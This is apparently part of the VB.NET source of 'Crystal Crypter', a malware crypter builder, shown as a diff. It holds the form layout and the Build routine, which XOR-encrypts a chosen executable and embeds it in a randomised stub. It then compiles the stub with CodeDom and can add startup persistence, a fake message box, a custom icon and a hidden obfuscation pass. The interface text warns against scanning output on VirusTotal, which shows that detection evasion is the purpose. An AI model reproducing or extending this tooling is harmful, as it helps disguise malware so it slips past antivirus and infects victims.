||||
Me.Label23.Size = New System.Drawing.Size(237, 13)
|
||||
Me.Label23.TabIndex = 3
|
||||
Me.Label23.Text = "With this Function you can add MB's to your File."
|
||||
'
|
||||
'GroupBox5
|
||||
'
|
||||
Me.GroupBox5.Controls.Add(Me.Button6)
|
||||
Me.GroupBox5.Controls.Add(Me.Label22)
|
||||
Me.GroupBox5.Controls.Add(Me.TextBox8)
|
||||
Me.GroupBox5.Controls.Add(Me.Button5)
|
||||
Me.GroupBox5.Controls.Add(Me.TextBox7)
|
||||
Me.GroupBox5.Controls.Add(Me.Label21)
|
||||
Me.GroupBox5.Location = New System.Drawing.Point(96, 16)
|
||||
Me.GroupBox5.Name = "GroupBox5"
|
||||
Me.GroupBox5.Size = New System.Drawing.Size(231, 129)
|
||||
Me.GroupBox5.TabIndex = 2
|
||||
Me.GroupBox5.TabStop = False
|
||||
Me.GroupBox5.Text = "Memory"
|
||||
'
|
||||
'Button6
|
||||
'
|
||||
Me.Button6.Enabled = False
|
||||
Me.Button6.Location = New System.Drawing.Point(141, 103)
|
||||
Me.Button6.Name = "Button6"
|
||||
Me.Button6.Size = New System.Drawing.Size(51, 21)
|
||||
Me.Button6.TabIndex = 5
|
||||
Me.Button6.Text = "Modify"
|
||||
Me.Button6.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label22
|
||||
'
|
||||
Me.Label22.AutoSize = True
|
||||
Me.Label22.Location = New System.Drawing.Point(21, 85)
|
||||
Me.Label22.Name = "Label22"
|
||||
Me.Label22.Size = New System.Drawing.Size(102, 13)
|
||||
Me.Label22.TabIndex = 4
|
||||
Me.Label22.Text = "Bytes to add (in MB)"
|
||||
'
|
||||
'TextBox8
|
||||
'
|
||||
Me.TextBox8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox8.Enabled = False
|
||||
Me.TextBox8.Location = New System.Drawing.Point(15, 103)
|
||||
Me.TextBox8.Name = "TextBox8"
|
||||
Me.TextBox8.Size = New System.Drawing.Size(120, 20)
|
||||
Me.TextBox8.TabIndex = 3
|
||||
'
|
||||
'Button5
|
||||
'
|
||||
Me.Button5.Enabled = False
|
||||
Me.Button5.Location = New System.Drawing.Point(170, 38)
|
||||
Me.Button5.Name = "Button5"
|
||||
Me.Button5.Size = New System.Drawing.Size(41, 22)
|
||||
Me.Button5.TabIndex = 2
|
||||
Me.Button5.Text = "..."
|
||||
Me.Button5.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBox7
|
||||
'
|
||||
Me.TextBox7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox7.Enabled = False
|
||||
Me.TextBox7.Location = New System.Drawing.Point(15, 40)
|
||||
Me.TextBox7.Name = "TextBox7"
|
||||
Me.TextBox7.Size = New System.Drawing.Size(149, 20)
|
||||
Me.TextBox7.TabIndex = 1
|
||||
'
|
||||
'Label21
|
||||
'
|
||||
Me.Label21.AutoSize = True
|
||||
Me.Label21.Location = New System.Drawing.Point(21, 24)
|
||||
Me.Label21.Name = "Label21"
|
||||
Me.Label21.Size = New System.Drawing.Size(23, 13)
|
||||
Me.Label21.TabIndex = 0
|
||||
Me.Label21.Text = "File"
|
||||
'
|
||||
'Button2
|
||||
'
|
||||
Me.Button2.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Button2.Font = New System.Drawing.Font("Verdana", 9.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Button2.ForeColor = System.Drawing.Color.Black
|
||||
Me.Button2.Location = New System.Drawing.Point(523, 271)
|
||||
Me.Button2.Name = "Button2"
|
||||
Me.Button2.Size = New System.Drawing.Size(112, 27)
|
||||
Me.Button2.TabIndex = 2
|
||||
Me.Button2.Text = "Build"
|
||||
Me.Button2.UseVisualStyleBackColor = False
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Me.Label4.AutoSize = True
|
||||
Me.Label4.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Label4.Font = New System.Drawing.Font("Verdana", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label4.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label4.Location = New System.Drawing.Point(14, 51)
|
||||
Me.Label4.Name = "Label4"
|
||||
Me.Label4.Size = New System.Drawing.Size(39, 12)
|
||||
Me.Label4.TabIndex = 29
|
||||
Me.Label4.Text = "Label4"
|
||||
'
|
||||
'Button1
|
||||
'
|
||||
Me.Button1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.Button1.Font = New System.Drawing.Font("Verdana", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Button1.ForeColor = System.Drawing.Color.Black
|
||||
Me.Button1.Location = New System.Drawing.Point(198, 28)
|
||||
Me.Button1.Name = "Button1"
|
||||
Me.Button1.Size = New System.Drawing.Size(49, 20)
|
||||
Me.Button1.TabIndex = 3
|
||||
Me.Button1.Text = "..."
|
||||
Me.Button1.UseVisualStyleBackColor = False
|
||||
'
|
||||
'TextBox1
|
||||
'
|
||||
Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox1.Font = New System.Drawing.Font("Microsoft Sans Serif", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.TextBox1.Location = New System.Drawing.Point(16, 28)
|
||||
Me.TextBox1.Name = "TextBox1"
|
||||
Me.TextBox1.Size = New System.Drawing.Size(165, 20)
|
||||
Me.TextBox1.TabIndex = 1
|
||||
'
|
||||
'GroupBox1
|
||||
'
|
||||
Me.GroupBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Me.GroupBox1.Controls.Add(Me.Label1)
|
||||
Me.GroupBox1.Controls.Add(Me.Label11)
|
||||
Me.GroupBox1.Controls.Add(Me.Label12)
|
||||
Me.GroupBox1.Controls.Add(Me.Label10)
|
||||
Me.GroupBox1.Controls.Add(Me.TextBox1)
|
||||
Me.GroupBox1.Controls.Add(Me.Button1)
|
||||
Me.GroupBox1.Controls.Add(Me.Label4)
|
||||
Me.GroupBox1.ForeColor = System.Drawing.Color.Black
|
||||
Me.GroupBox1.Location = New System.Drawing.Point(325, 3)
|
||||
Me.GroupBox1.Name = "GroupBox1"
|
||||
Me.GroupBox1.Size = New System.Drawing.Size(319, 84)
|
||||
Me.GroupBox1.TabIndex = 30
|
||||
Me.GroupBox1.TabStop = False
|
||||
Me.GroupBox1.Text = "Select File.."
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.Font = New System.Drawing.Font("Verdana", 6.75!)
|
||||
Me.Label1.Location = New System.Drawing.Point(73, 67)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(0, 12)
|
||||
Me.Label1.TabIndex = 33
|
||||
'
|
||||
'Label11
|
||||
'
|
||||
Me.Label11.AutoSize = True
|
||||
Me.Label11.Font = New System.Drawing.Font("Verdana", 6.75!)
|
||||
Me.Label11.Location = New System.Drawing.Point(14, 67)
|
||||
Me.Label11.Name = "Label11"
|
||||
Me.Label11.Size = New System.Drawing.Size(64, 12)
|
||||
Me.Label11.TabIndex = 31
|
||||
Me.Label11.Text = "File Locat. :"
|
||||
'
|
||||
'Label12
|
||||
'
|
||||
Me.Label12.AutoSize = True
|
||||
Me.Label12.Font = New System.Drawing.Font("Verdana", 6.75!)
|
||||
Me.Label12.Location = New System.Drawing.Point(73, 13)
|
||||
Me.Label12.Name = "Label12"
|
||||
Me.Label12.Size = New System.Drawing.Size(168, 12)
|
||||
Me.Label12.TabIndex = 32
|
||||
Me.Label12.Text = "Select the file you want to Crypt."
|
||||
'
|
||||
'Label10
|
||||
'
|
||||
Me.Label10.AutoSize = True
|
||||
Me.Label10.Font = New System.Drawing.Font("Verdana", 6.75!)
|
||||
Me.Label10.Location = New System.Drawing.Point(79, 54)
|
||||
Me.Label10.Name = "Label10"
|
||||
Me.Label10.Size = New System.Drawing.Size(0, 12)
|
||||
Me.Label10.TabIndex = 30
|
||||
'
|
||||
'Label13
|
||||
'
|
||||
Me.Label13.AutoSize = True
|
||||
Me.Label13.Location = New System.Drawing.Point(541, 255)
|
||||
Me.Label13.Name = "Label13"
|
||||
Me.Label13.Size = New System.Drawing.Size(76, 13)
|
||||
Me.Label13.TabIndex = 36
|
||||
Me.Label13.Text = "Crypt your File:"
|
||||
'
|
||||
'GroupBox4
|
||||
'
|
||||
Me.GroupBox4.Controls.Add(Me.Label19)
|
||||
Me.GroupBox4.Controls.Add(Me.Label18)
|
||||
Me.GroupBox4.Controls.Add(Me.Label17)
|
||||
Me.GroupBox4.Controls.Add(Me.Label16)
|
||||
Me.GroupBox4.Controls.Add(Me.Label15)
|
||||
Me.GroupBox4.Controls.Add(Me.Label14)
|
||||
Me.GroupBox4.Location = New System.Drawing.Point(438, 103)
|
||||
Me.GroupBox4.Name = "GroupBox4"
|
||||
Me.GroupBox4.Size = New System.Drawing.Size(200, 140)
|
||||
Me.GroupBox4.TabIndex = 38
|
||||
Me.GroupBox4.TabStop = False
|
||||
Me.GroupBox4.Text = "Information"
|
||||
'
|
||||
'Label19
|
||||
'
|
||||
Me.Label19.AutoSize = True
|
||||
Me.Label19.Location = New System.Drawing.Point(9, 121)
|
||||
Me.Label19.Name = "Label19"
|
||||
Me.Label19.Size = New System.Drawing.Size(80, 13)
|
||||
Me.Label19.TabIndex = 5
|
||||
Me.Label19.Text = "VirusTotal.com."
|
||||
'
|
||||
'Label18
|
||||
'
|
||||
Me.Label18.AutoSize = True
|
||||
Me.Label18.Location = New System.Drawing.Point(9, 106)
|
||||
Me.Label18.Name = "Label18"
|
||||
Me.Label18.Size = New System.Drawing.Size(148, 13)
|
||||
Me.Label18.TabIndex = 4
|
||||
Me.Label18.Text = "Dont scan the Stub or File on,"
|
||||
'
|
||||
'Label17
|
||||
'
|
||||
Me.Label17.AutoSize = True
|
||||
Me.Label17.Location = New System.Drawing.Point(7, 76)
|
||||
Me.Label17.Name = "Label17"
|
||||
Me.Label17.Size = New System.Drawing.Size(128, 13)
|
||||
Me.Label17.TabIndex = 3
|
||||
Me.Label17.Text = "You agreed with the ToS."
|
||||
'
|
||||
'Label16
|
||||
'
|
||||
Me.Label16.AutoSize = True
|
||||
Me.Label16.Location = New System.Drawing.Point(6, 60)
|
||||
Me.Label16.Name = "Label16"
|
||||
Me.Label16.Size = New System.Drawing.Size(129, 13)
|
||||
Me.Label16.TabIndex = 2
|
||||
Me.Label16.Text = "When having this Crypter,"
|
||||
'
|
||||
'Label15
|
||||
'
|
||||
Me.Label15.AutoSize = True
|
||||
Me.Label15.Location = New System.Drawing.Point(7, 29)
|
||||
Me.Label15.Name = "Label15"
|
||||
Me.Label15.Size = New System.Drawing.Size(61, 13)
|
||||
Me.Label15.TabIndex = 1
|
||||
Me.Label15.Text = "Contact us."
|
||||
'
|
||||
'Label14
|
||||
'
|
||||
Me.Label14.AutoSize = True
|
||||
Me.Label14.Location = New System.Drawing.Point(6, 16)
|
||||
Me.Label14.Name = "Label14"
|
||||
Me.Label14.Size = New System.Drawing.Size(151, 13)
|
||||
Me.Label14.TabIndex = 0
|
||||
Me.Label14.Text = "When you have any probelms,"
|
||||
'
|
||||
'OpenFileDialog1
|
||||
'
|
||||
Me.OpenFileDialog1.FileName = "OpenFileDialog1"
|
||||
'
|
||||
'Label25
|
||||
'
|
||||
Me.Label25.AutoSize = True
|
||||
Me.Label25.Font = New System.Drawing.Font("Microsoft Sans Serif", 20.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Me.Label25.Location = New System.Drawing.Point(30, 31)
|
||||
Me.Label25.Name = "Label25"
|
||||
Me.Label25.Size = New System.Drawing.Size(268, 31)
|
||||
Me.Label25.TabIndex = 39
|
||||
Me.Label25.Text = "(Your Crypter Image)"
|
||||
'
|
||||
'Form1
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.BackColor = System.Drawing.SystemColors.Control
|
||||
Me.ClientSize = New System.Drawing.Size(647, 301)
|
||||
Me.Controls.Add(Me.Label25)
|
||||
Me.Controls.Add(Me.GroupBox4)
|
||||
Me.Controls.Add(Me.Label13)
|
||||
Me.Controls.Add(Me.Button2)
|
||||
Me.Controls.Add(Me.GroupBox1)
|
||||
Me.Controls.Add(Me.TabControl1)
|
||||
Me.Controls.Add(Me.TextBox3)
|
||||
Me.Controls.Add(Me.TextBox2)
|
||||
Me.Controls.Add(Me.Button3)
|
||||
Me.Controls.Add(Me.ShapeContainer1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.MaximizeBox = False
|
||||
Me.MinimizeBox = False
|
||||
Me.Name = "Form1"
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "Crystal Crypter"
|
||||
Me.GroupBox2.ResumeLayout(False)
|
||||
Me.GroupBox2.PerformLayout()
|
||||
Me.GroupBox3.ResumeLayout(False)
|
||||
Me.GroupBox3.PerformLayout()
|
||||
Me.TabControl1.ResumeLayout(False)
|
||||
Me.TabPage1.ResumeLayout(False)
|
||||
Me.TabPage1.PerformLayout()
|
||||
Me.TabPage2.ResumeLayout(False)
|
||||
Me.TabPage2.PerformLayout()
|
||||
Me.TabPage3.ResumeLayout(False)
|
||||
Me.TabPage3.PerformLayout()
|
||||
Me.TabPage4.ResumeLayout(False)
|
||||
Me.TabPage4.PerformLayout()
|
||||
Me.GroupBox5.ResumeLayout(False)
|
||||
Me.GroupBox5.PerformLayout()
|
||||
Me.GroupBox1.ResumeLayout(False)
|
||||
Me.GroupBox1.PerformLayout()
|
||||
Me.GroupBox4.ResumeLayout(False)
|
||||
Me.GroupBox4.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Button3 As System.Windows.Forms.Button
|
||||
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents TextBox4 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Button4 As System.Windows.Forms.Button
|
||||
Private WithEvents TextBox3 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents TextBox6 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents TextBox5 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents ShapeContainer1 As Microsoft.VisualBasic.PowerPacks.ShapeContainer
|
||||
Friend WithEvents LineShape1 As Microsoft.VisualBasic.PowerPacks.LineShape
|
||||
Friend WithEvents TabControl1 As System.Windows.Forms.TabControl
|
||||
Friend WithEvents TabPage1 As System.Windows.Forms.TabPage
|
||||
Friend WithEvents TabPage2 As System.Windows.Forms.TabPage
|
||||
Friend WithEvents TabPage3 As System.Windows.Forms.TabPage
|
||||
Friend WithEvents Button2 As System.Windows.Forms.Button
|
||||
Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents Label4 As System.Windows.Forms.Label
|
||||
Friend WithEvents Button1 As System.Windows.Forms.Button
|
||||
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents Label3 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label9 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label7 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label6 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label5 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label8 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label10 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label11 As System.Windows.Forms.Label
|
||||
Friend WithEvents TabPage4 As System.Windows.Forms.TabPage
|
||||
Friend WithEvents Label12 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label13 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label20 As System.Windows.Forms.Label
|
||||
Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents Label19 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label18 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label17 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label16 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label15 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label14 As System.Windows.Forms.Label
|
||||
Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents GroupBox5 As System.Windows.Forms.GroupBox
|
||||
Friend WithEvents Button6 As System.Windows.Forms.Button
|
||||
Friend WithEvents Label22 As System.Windows.Forms.Label
|
||||
Friend WithEvents TextBox8 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Button5 As System.Windows.Forms.Button
|
||||
Friend WithEvents TextBox7 As System.Windows.Forms.TextBox
|
||||
Friend WithEvents Label21 As System.Windows.Forms.Label
|
||||
Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog
|
||||
Friend WithEvents Label24 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label23 As System.Windows.Forms.Label
|
||||
Friend WithEvents CheckBox5 As System.Windows.Forms.CheckBox
|
||||
Friend WithEvents Label25 As System.Windows.Forms.Label
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,297 @@
|
||||
'Coded by : MammoTh
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports System.Text
|
||||
Imports System.IO
|
||||
Public Class Form1
|
||||
|
||||
Public Shared crap As String
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
|
||||
Try
|
||||
|
||||
Dim sfd As New SaveFileDialog With {.Filter = ".exe|*.exe", .ShowHelp = True}
|
||||
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
Dim encryption_key As String = random_key(2)
|
||||
Dim source As String = My.Resources.source ' Declare temporary string storing the source for replacing
|
||||
Dim vars As String() = {"%64%", "%1%", "%2%", "%4%"}
|
||||
Dim vars2 As String() = {"%5%", "%9%", "%10%", "%01%", "%55%"} ' Declaring a String Array with all Strings to replace
|
||||
For i As Integer = 0 To vars.Length - 1 ' Loop thought all Strings to replace
|
||||
source = source.Replace(vars(i), random_key(16)) ' Replace the fill strings with a random String to make the Server more unique (Basic USG System)
|
||||
source = source.Replace(vars2(i), random_key(7))
|
||||
Next
|
||||
|
||||
If CheckBox4.Checked = True Then
|
||||
source = source.Replace("msgoff", "msgon")
|
||||
source = source.Replace("msghere", TextBox5.Text)
|
||||
source = source.Replace("titlehere", TextBox6.Text)
|
||||
|
||||
End If
|
||||
TextBox2.Text = source
|
||||
|
||||
If CheckBox1.Checked = True Then
|
||||
source = source.Replace("startoff", "starton")
|
||||
End If
|
||||
source = source.Replace("lolil", encryption_key)
|
||||
Dim input As Byte() = encrypt(IO.File.ReadAllBytes(TextBox1.Text), encryption_key) 'Read & Encrypt to crypt
|
||||
source = source.Replace("%3%", CD.format(input)) ' Format the input bytes and place them in the temp source
|
||||
crap = sfd.FileName
|
||||
Codedom(sfd.FileName, source, "") ' Compile the source using CodeDom
|
||||
If CheckBox2.Checked = True Then
|
||||
IconInjector.InjectIcon(sfd.FileName, TextBox3.Text)
|
||||
End If
|
||||
If CheckBox3.Checked = True Then
|
||||
Dim Folder As String = Application.StartupPath & "\EazFuscator\"
|
||||
IO.Directory.CreateDirectory(Folder)
|
||||
Dim AGConfigurationSettingsProvidersdll As String = "AG.Configuration.SettingsProviders.dll"
|
||||
Dim AGDeploymentUpdatingdll As String = "AG.Deployment.Updating.dll"
|
||||
Dim AGEazfuscatorNETInstallerdll As String = "AG.Eazfuscator.NET.Installer.dll"
|
||||
Dim AGEazfuscatorNETSettingsdll As String = "AG.Eazfuscator.NET.Settings.dll"
|
||||
Dim AGEazfuscatorNETUpdatingdll As String = "AG.Eazfuscator.NET.Updating.dll"
|
||||
Dim CastleCoredll As String = "Castle.Core.dll"
|
||||
Dim CastleMicroKerneldll As String = "Castle.MicroKernel.dll"
|
||||
Dim EazfuscatorNET As String = "Eazfuscator.NET.exe"
|
||||
Dim ICSharpCodeSharpZipLibdll As String = "ICSharpCode.SharpZipLib.dll"
|
||||
Dim MicrosoftCciMetadataHelperdll As String = "Microsoft.Cci.MetadataHelper.dll"
|
||||
Dim MicrosoftCciMetadataModeldll As String = "Microsoft.Cci.MetadataModel.dll"
|
||||
Dim MicrosoftCciMutableMetadataModeldll As String = "Microsoft.Cci.MutableMetadataModel.dll"
|
||||
Dim MicrosoftCciPeReaderdll As String = "Microsoft.Cci.PeReader.dll"
|
||||
Dim MicrosoftCciPeWriterdll As String = "Microsoft.Cci.PeWriter.dll"
|
||||
Dim MicrosoftCciSourceModeldll As String = "Microsoft.Cci.SourceModel.dll"
|
||||
Dim MonoCecildll As String = "Mono.Cecil.dll "
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & AGConfigurationSettingsProvidersdll, My.Resources.AG_Configuration_SettingsProviders, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & AGDeploymentUpdatingdll, My.Resources.AG_Deployment_Updating, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & AGEazfuscatorNETInstallerdll, My.Resources.AG_Eazfuscator_NET_Installer, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & AGEazfuscatorNETSettingsdll, My.Resources.AG_Eazfuscator_NET_Settings, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & AGEazfuscatorNETUpdatingdll, My.Resources.AG_Eazfuscator_NET_Updating, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & CastleCoredll, My.Resources.Castle_Core, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & CastleMicroKerneldll, My.Resources.Castle_MicroKernel, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & EazfuscatorNET, My.Resources.Eazfuscator_NET, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & ICSharpCodeSharpZipLibdll, My.Resources.ICSharpCode_SharpZipLib, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciMetadataHelperdll, My.Resources.Microsoft_Cci_MetadataHelper, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciMetadataModeldll, My.Resources.Microsoft_Cci_MetadataModel, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciMutableMetadataModeldll, My.Resources.Microsoft_Cci_MutableMetadataModel, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciPeReaderdll, My.Resources.Microsoft_Cci_PeReader, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciPeWriterdll, My.Resources.Microsoft_Cci_PeWriter, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MicrosoftCciSourceModeldll, My.Resources.Microsoft_Cci_SourceModel, False)
|
||||
My.Computer.FileSystem.WriteAllBytes(Folder & MonoCecildll, My.Resources.Mono_Cecil, False)
|
||||
Dim FS As String = Application.StartupPath & "\Obfuscate.bat"
|
||||
Dim SW As New IO.StreamWriter(FS)
|
||||
SW.Write(EazfuscatorNET & " " & IO.Path.GetFileName(sfd.FileName))
|
||||
SW.Flush()
|
||||
SW.Close()
|
||||
Dim P As New Process
|
||||
P.StartInfo.FileName = FS
|
||||
P.StartInfo.WindowStyle = ProcessWindowStyle.Hidden
|
||||
P.Start()
|
||||
P.WaitForExit()
|
||||
IO.File.Delete(FS)
|
||||
Try
|
||||
IO.Directory.Delete(Folder)
|
||||
Catch
|
||||
End Try
|
||||
End If
|
||||
MessageBox.Show("File encrypted successfully.", "", MessageBoxButtons.OK, MessageBoxIcon.Information)
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
MsgBox(ex.Message, MsgBoxStyle.Critical, "Error")
|
||||
End Try
|
||||
End Sub
|
||||
Sub Codedom(ByVal Path As String, ByVal Code As String, ByVal MainClass As String)
|
||||
Dim providerOptions = New Collections.Generic.Dictionary(Of String, String) 'added, kobac
|
||||
providerOptions.Add("CompilerVersion", "v3.5")
|
||||
Dim CodeProvider As New Microsoft.CSharp.CSharpCodeProvider(providerOptions) 'modified...
|
||||
Dim Parameters As New CompilerParameters
|
||||
With Parameters
|
||||
.GenerateExecutable = True
|
||||
.OutputAssembly = Path
|
||||
.CompilerOptions += "/platform:X86 /unsafe /target:winexe"
|
||||
.MainClass = MainClass
|
||||
.IncludeDebugInformation = False
|
||||
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
.ReferencedAssemblies.Add("system.dll")
|
||||
.ReferencedAssemblies.Add(Process.GetCurrentProcess().MainModule.FileName)
|
||||
.ReferencedAssemblies.Add(Application.ExecutablePath)
|
||||
End With
|
||||
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
|
||||
If Results.Errors.Count > 0 Then
|
||||
For Each E In Results.Errors
|
||||
MsgBox(E.ErrorText)
|
||||
Next
|
||||
End If
|
||||
End Sub
|
||||
Public Function random_key(ByVal lenght As Integer) As String
|
||||
Randomize()
|
||||
Dim s As New System.Text.StringBuilder("")
|
||||
Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray()
|
||||
For i As Integer = 1 To lenght
|
||||
Randomize()
|
||||
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
|
||||
s.Append(b(z))
|
||||
Next
|
||||
Return s.ToString
|
||||
End Function
|
||||
Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte()
|
||||
Dim passarr As Byte() = System.Text.Encoding.UTF8.GetBytes(password)
|
||||
Randomize()
|
||||
Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1
|
||||
Dim outarr(message.Length) As Byte
|
||||
Dim u As Integer
|
||||
For i As Integer = 0 To message.Length - 1
|
||||
outarr(i) += (message(i) Xor passarr(u)) Xor rand
|
||||
If u = password.Length - 1 Then u = 0 Else u = u + 1
|
||||
Next
|
||||
outarr(message.Length) = 112 Xor rand
|
||||
Return outarr
|
||||
End Function
|
||||
Dim o As New OpenFileDialog With {.Filter = ".exe|*.exe", .ShowHelp = True}
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
|
||||
|
||||
If o.ShowDialog = vbOK Then
|
||||
TextBox1.Text = o.FileName
|
||||
Label1.Text = o.FileName
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
|
||||
Codedom(crap, TextBox2.Text, "") ' Compile the source using CodeDom
|
||||
End Sub
|
||||
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Me.ShowIcon = False
|
||||
Label4.Text = "Stub Size : " & System.Text.Encoding.UTF8.GetBytes(My.Resources.source).Length \ 1024 & "Kb"
|
||||
End Sub
|
||||
|
||||
Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
|
||||
If CheckBox2.Checked = True Then
|
||||
TextBox4.Enabled = True
|
||||
Button4.Enabled = True
|
||||
Else
|
||||
TextBox4.Enabled = False
|
||||
Button4.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
|
||||
Dim ooo As New OpenFileDialog
|
||||
ooo.DefaultExt = "ico"
|
||||
ooo.Filter = "Icon Files (*.ico*)|*.ico*"
|
||||
ooo.FilterIndex = 1
|
||||
ooo.FileName = ""
|
||||
If ooo.ShowDialog(Me) = 1 Then
|
||||
TextBox3.Text = ooo.FileName
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
|
||||
If CheckBox4.Checked = True Then
|
||||
TextBox6.Enabled = True
|
||||
TextBox5.Enabled = True
|
||||
Else
|
||||
TextBox6.Enabled = False
|
||||
TextBox5.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub LineShape1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LineShape1.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub TreeView1_AfterSelect(ByVal sender As System.Object, ByVal e As System.Windows.Forms.TreeViewEventArgs)
|
||||
|
||||
End Sub
|
||||
|
||||
